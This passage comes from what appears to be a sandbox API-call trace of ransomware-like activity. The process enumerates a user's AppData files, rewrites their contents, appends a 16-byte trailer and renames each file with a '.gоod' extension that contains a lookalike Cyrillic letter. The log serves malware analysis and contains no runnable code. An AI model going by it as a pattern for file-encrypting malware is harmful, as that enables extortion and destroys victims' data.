ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0188.215] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0672700, ftCreationTime.dwHighDateTime=0x1d4ce4f, ftLastAccessTime.dwLowDateTime=0xc2b50820, ftLastAccessTime.dwHighDateTime=0x1d4d01d, ftLastWriteTime.dwLowDateTime=0xc2b50820, ftLastWriteTime.dwHighDateTime=0x1d4d01d, nFileSizeHigh=0x0, nFileSizeLow=0x17f71, dwReserved0=0x0, dwReserved1=0x0, cFileName="wk5AY3-oXk0Sddx-g.jpg", cAlternateFileName="WK5AY3~1.JPG")) returned 1 [0188.215] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1cf50, ftCreationTime.dwHighDateTime=0x1d4d166, ftLastAccessTime.dwLowDateTime=0xed8e7e20, ftLastAccessTime.dwHighDateTime=0x1d4cdaa, ftLastWriteTime.dwLowDateTime=0xed8e7e20, ftLastWriteTime.dwHighDateTime=0x1d4cdaa, nFileSizeHigh=0x0, nFileSizeLow=0x102e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="wW38svU.bmp", cAlternateFileName="")) returned 1 [0188.215] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87a4460, ftCreationTime.dwHighDateTime=0x1d4c674, ftLastAccessTime.dwLowDateTime=0x69efbe60, ftLastAccessTime.dwHighDateTime=0x1d4c852, ftLastWriteTime.dwLowDateTime=0x69efbe60, ftLastWriteTime.dwHighDateTime=0x1d4c852, nFileSizeHigh=0x0, nFileSizeLow=0x15c5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="XfoQ4bdGvP9SyC9.bmp", cAlternateFileName="XFOQ4B~1.BMP")) returned 1 [0188.215] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c113000, ftCreationTime.dwHighDateTime=0x1d4d503, ftLastAccessTime.dwLowDateTime=0x8978d550, ftLastAccessTime.dwHighDateTime=0x1d4c8cf, ftLastWriteTime.dwLowDateTime=0x8978d550, ftLastWriteTime.dwHighDateTime=0x1d4c8cf, nFileSizeHigh=0x0, nFileSizeLow=0xddb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="YMqWJw-Z3QNsVBZ.jpg", cAlternateFileName="YMQWJW~1.JPG")) returned 1 [0188.215] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e85d2a0, ftCreationTime.dwHighDateTime=0x1d4d353, ftLastAccessTime.dwLowDateTime=0x2fece3b0, ftLastAccessTime.dwHighDateTime=0x1d4d59e, ftLastWriteTime.dwLowDateTime=0x2fece3b0, ftLastWriteTime.dwHighDateTime=0x1d4d59e, nFileSizeHigh=0x0, nFileSizeLow=0x16003, dwReserved0=0x0, dwReserved1=0x0, cFileName="yVaIEk.m4a", cAlternateFileName="")) returned 1 [0188.215] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76741400, ftCreationTime.dwHighDateTime=0x1d4d0af, ftLastAccessTime.dwLowDateTime=0xfb61f2d0, ftLastAccessTime.dwHighDateTime=0x1d4ce21, ftLastWriteTime.dwLowDateTime=0xfb61f2d0, ftLastWriteTime.dwHighDateTime=0x1d4ce21, nFileSizeHigh=0x0, nFileSizeLow=0xf45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YW BBAy4.m4a", cAlternateFileName="YWBBAY~1.M4A")) returned 1 [0188.216] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f7df2b0, ftCreationTime.dwHighDateTime=0x1d4ce19, ftLastAccessTime.dwLowDateTime=0x3af96ca0, ftLastAccessTime.dwHighDateTime=0x1d4d0e5, ftLastWriteTime.dwLowDateTime=0x3af96ca0, ftLastWriteTime.dwHighDateTime=0x1d4d0e5, nFileSizeHigh=0x0, nFileSizeLow=0x5ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zy EwOK.mkv", cAlternateFileName="ZYEWOK~1.MKV")) returned 1 [0188.216] FindNextFileW (in: hFindFile=0x1ecdd110, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f7df2b0, ftCreationTime.dwHighDateTime=0x1d4ce19, ftLastAccessTime.dwLowDateTime=0x3af96ca0, ftLastAccessTime.dwHighDateTime=0x1d4d0e5, ftLastWriteTime.dwLowDateTime=0x3af96ca0, ftLastWriteTime.dwHighDateTime=0x1d4d0e5, nFileSizeHigh=0x0, nFileSizeLow=0x5ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zy EwOK.mkv", cAlternateFileName="ZYEWOK~1.MKV")) returned 0 [0188.216] FindClose (in: hFindFile=0x1ecdd110 | out: hFindFile=0x1ecdd110) returned 1 [0188.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee390) returned 1 [0188.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee350) returned 1 [0188.216] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv", lpFilePart=0x0) returned 0x2d [0188.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0188.216] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\agsvx-spc.flv"), fInfoLevelId=0x0, lpFileInformation=0x3a082f8 | out: lpFileInformation=0x3a082f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4109bb70, ftCreationTime.dwHighDateTime=0x1d4c93a, ftLastAccessTime.dwLowDateTime=0xbdbbe390, ftLastAccessTime.dwHighDateTime=0x1d4cb70, ftLastWriteTime.dwLowDateTime=0xbdbbe390, ftLastWriteTime.dwHighDateTime=0x1d4cb70, nFileSizeHigh=0x0, nFileSizeLow=0x1008d)) returned 1 [0188.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0188.216] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv", lpFilePart=0x0) returned 0x2d [0188.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0188.216] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\agsvx-spc.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0188.217] GetFileType (hFile=0x818) returned 0x1 [0188.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0188.217] GetFileType (hFile=0x818) returned 0x1 [0188.217] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0188.217] ReadFile (in: hFile=0x818, lpBuffer=0x3a086b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x3a086b0*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0188.218] CloseHandle (hObject=0x818) returned 1 [0188.218] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv", lpFilePart=0x0) returned 0x2d [0188.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0188.218] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\agsvx-spc.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0188.218] GetFileType (hFile=0x818) returned 0x1 [0188.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0188.218] GetFileType (hFile=0x818) returned 0x1 [0188.218] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1008d [0188.218] WriteFile (in: hFile=0x818, lpBuffer=0x3a09918*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x3a09918*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0188.219] CloseHandle (hObject=0x818) returned 1 [0188.219] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv", lpFilePart=0x0) returned 0x2d [0188.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0188.219] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\agsvx-spc.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0188.219] GetFileType (hFile=0x818) returned 0x1 [0188.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0188.219] GetFileType (hFile=0x818) returned 0x1 [0188.219] ReadFile (in: hFile=0x818, lpBuffer=0x3a0bba8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x3a0bba8*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0188.538] CloseHandle (hObject=0x818) returned 1 [0188.538] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv", lpFilePart=0x0) returned 0x2d [0188.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0188.538] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\agsvx-spc.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0188.538] GetFileType (hFile=0x818) returned 0x1 [0188.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0188.538] GetFileType (hFile=0x818) returned 0x1 [0188.538] WriteFile (in: hFile=0x818, lpBuffer=0x3756aa0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x3756aa0*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0188.538] CloseHandle (hObject=0x818) returned 1 [0188.538] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv", lpFilePart=0x0) returned 0x2d [0188.539] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv.gоod", lpFilePart=0x0) returned 0x32 [0188.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0188.539] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\agsvx-spc.flv"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4109bb70, ftCreationTime.dwHighDateTime=0x1d4c93a, ftLastAccessTime.dwLowDateTime=0xbdbbe390, ftLastAccessTime.dwHighDateTime=0x1d4cb70, ftLastWriteTime.dwLowDateTime=0x6c97502b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1009d)) returned 1 [0188.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0188.539] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\agsvx-spc.flv"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AGsVx-SPc.flv.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\agsvx-spc.flv.gоod")) returned 1 [0188.539] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx", lpFilePart=0x0) returned 0x37 [0188.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0188.539] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\amdnqrcqf8_2vof49l.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x394b6d0 | out: lpFileInformation=0x394b6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf12230, ftCreationTime.dwHighDateTime=0x1d4d28b, ftLastAccessTime.dwLowDateTime=0xae14e990, ftLastAccessTime.dwHighDateTime=0x1d4c897, ftLastWriteTime.dwLowDateTime=0xae14e990, ftLastWriteTime.dwHighDateTime=0x1d4c897, nFileSizeHigh=0x0, nFileSizeLow=0xc500)) returned 1 [0188.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0188.540] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx", lpFilePart=0x0) returned 0x37 [0188.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0188.540] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\amdnqrcqf8_2vof49l.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0188.540] GetFileType (hFile=0x818) returned 0x1 [0188.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0188.540] GetFileType (hFile=0x818) returned 0x1 [0188.540] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0188.540] ReadFile (in: hFile=0x818, lpBuffer=0x394bac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x394bac8*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0188.541] CloseHandle (hObject=0x818) returned 1 [0188.541] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx", lpFilePart=0x0) returned 0x37 [0188.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0188.541] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\amdnqrcqf8_2vof49l.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0188.541] GetFileType (hFile=0x818) returned 0x1 [0188.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0188.541] GetFileType (hFile=0x818) returned 0x1 [0188.541] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0xc500 [0188.541] WriteFile (in: hFile=0x818, lpBuffer=0x394cd50*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x394cd50*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0188.541] CloseHandle (hObject=0x818) returned 1 [0188.542] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx", lpFilePart=0x0) returned 0x37 [0188.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0188.542] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\amdnqrcqf8_2vof49l.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0188.542] GetFileType (hFile=0x818) returned 0x1 [0188.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0188.542] GetFileType (hFile=0x818) returned 0x1 [0188.542] ReadFile (in: hFile=0x818, lpBuffer=0x394f000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x394f000*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0188.677] CloseHandle (hObject=0x818) returned 1 [0188.677] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx", lpFilePart=0x0) returned 0x37 [0188.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0188.677] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\amdnqrcqf8_2vof49l.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0188.677] GetFileType (hFile=0x818) returned 0x1 [0188.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0188.677] GetFileType (hFile=0x818) returned 0x1 [0188.677] WriteFile (in: hFile=0x818, lpBuffer=0x3771898*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x3771898*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0188.678] CloseHandle (hObject=0x818) returned 1 [0188.678] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx", lpFilePart=0x0) returned 0x37 [0188.678] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx.gоod", lpFilePart=0x0) returned 0x3c [0188.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0188.678] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\amdnqrcqf8_2vof49l.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf12230, ftCreationTime.dwHighDateTime=0x1d4d28b, ftLastAccessTime.dwLowDateTime=0xae14e990, ftLastAccessTime.dwHighDateTime=0x1d4c897, ftLastWriteTime.dwLowDateTime=0x6cadb0de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc510)) returned 1 [0188.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0188.678] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\amdnqrcqf8_2vof49l.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\amdnqRCqf8_2voF49l.xlsx.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\amdnqrcqf8_2vof49l.xlsx.gоod")) returned 1 [0188.679] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf", lpFilePart=0x0) returned 0x29 [0188.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0188.679] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\apqpe.swf"), fInfoLevelId=0x0, lpFileInformation=0x3877a48 | out: lpFileInformation=0x3877a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x411b5380, ftCreationTime.dwHighDateTime=0x1d4c7cd, ftLastAccessTime.dwLowDateTime=0xe90d2e10, ftLastAccessTime.dwHighDateTime=0x1d4cce1, ftLastWriteTime.dwLowDateTime=0xe90d2e10, ftLastWriteTime.dwHighDateTime=0x1d4cce1, nFileSizeHigh=0x0, nFileSizeLow=0x14a27)) returned 1 [0188.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0188.679] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf", lpFilePart=0x0) returned 0x29 [0188.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0188.680] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\apqpe.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0188.680] GetFileType (hFile=0x818) returned 0x1 [0188.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0188.680] GetFileType (hFile=0x818) returned 0x1 [0188.680] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0188.680] ReadFile (in: hFile=0x818, lpBuffer=0x3877de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x3877de0*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0188.815] CloseHandle (hObject=0x818) returned 1 [0188.816] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf", lpFilePart=0x0) returned 0x29 [0188.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0188.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\apqpe.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0188.816] GetFileType (hFile=0x818) returned 0x1 [0188.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0188.816] GetFileType (hFile=0x818) returned 0x1 [0188.816] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x14a27 [0188.816] WriteFile (in: hFile=0x818, lpBuffer=0x377a030*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x377a030*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0188.816] CloseHandle (hObject=0x818) returned 1 [0188.816] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf", lpFilePart=0x0) returned 0x29 [0188.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0188.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aPQpe.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\apqpe.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 